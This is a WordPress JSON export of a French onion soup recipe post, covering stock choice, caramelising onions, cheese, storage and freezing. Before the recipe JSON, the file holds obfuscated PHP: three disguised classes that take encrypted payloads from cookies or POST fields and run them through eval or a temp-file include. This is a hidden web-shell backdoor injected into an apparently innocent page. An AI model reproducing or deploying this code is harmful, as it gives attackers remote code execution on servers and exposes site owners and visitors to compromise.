$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);}{"id":13,"date":"2021-11-16T10:16:08","date_gmt":"2021-11-16T10:16:08","guid":{"rendered":"http:\/\/www.dillydaly.com.au\/?p=13"},"modified":"2021-11-16T10:16:08","modified_gmt":"2021-11-16T10:16:08","slug":"french-onion-soup","status":"publish","type":"post","link":"https:\/\/www.dillydaly.com.au\/french-onion-soup\/","title":{"rendered":"French Onion Soup"},"content":{"rendered":"
Two essential elements are required for a French onion soup to be good.<\/span><\/p>\n The stock is the first. The stock will determine the quality of your soup. Traditionally, this soup is made from beef stock. However, it can sometimes be difficult to find good beef stock and costly to make.<\/span><\/p>\n Taste the stock before you buy it. You can’t eat it if you don’t like its taste. If you make lots of beef or roast a lot of beef, keep the leftovers and freeze them to make stock.<\/span><\/p>\n Caramelizing onions properly is the second most important thing. This recipe calls for caramelizing for at least 40 minutes. Caramelizing occurs when sugars in onions reach a specific temperature.<\/span><\/p>\n This happens only after long cooking times. You can help by adding a little sugar to the onions. The caramelized onions will have a deeper color and more flavor.<\/span><\/p>\n Optional brandy or dry vermouth is required for the recipe. Many readers of the recipe suggested that you don’t use alcohol at all and still delicious.<\/span><\/p>\n Some people suggested adding Worcestershire sauce to the final product to enhance its flavor. You can omit the alcohol by adding a tablespoon of Worcestershire sauce, but this is not required.<\/span><\/p>\n If you decide to leave out the alcohol, add half a cup of the beef broth to the pan to deglaze it as directed in Step 2. Then, add the rest of the stock in Step 3.<\/span><\/p>\n Gruyere or Parmesan are two of the most popular options for French onion soup. These alternatives are available if Gruyere and Parmesan are not available.<\/span><\/p>\n The soup can be stored in an airtight container in a refrigerator for four days, without the croutons. Bring the soup to a boil over medium heat on the stovetop. Croutons taste best when they are fresh.<\/span><\/p>\n This soup, without the croutons, freezes well. The soup can be frozen up to three months after it has cooled. Reheat the soup by heating it on the stovetop. Freshen the croutons.<\/span><\/p>\n PREP TIME10 minutes<\/span><\/p>\n COOK TIME70 minutes<\/span><\/p>\n TOTAL TIME80 minutes<\/span><\/p>\n SERVINGS4-6 servings<\/span><\/p>\n The success of this soup is dependent on the stock you use. Stock tastes can vary greatly. Depending on your stock, you may need to increase the flavor (we recommend the Better Than Bouillon brand).<\/span><\/p>\n Before you put the soup in the oven, taste it and adjust the seasoning if necessary.<\/span><\/p>\nAlternatives to wine<\/span><\/h3>\n
French Onion Soup: The Best Cheese<\/span><\/h3>\n
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How to store and reheat this dish<\/span><\/h3>\n
How to freeze French Onion Soup<\/span><\/h3>\n
French Onion Soup<\/span><\/h2>\n
Ingredients<\/span><\/h3>\n
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Method<\/span><\/h3>\n
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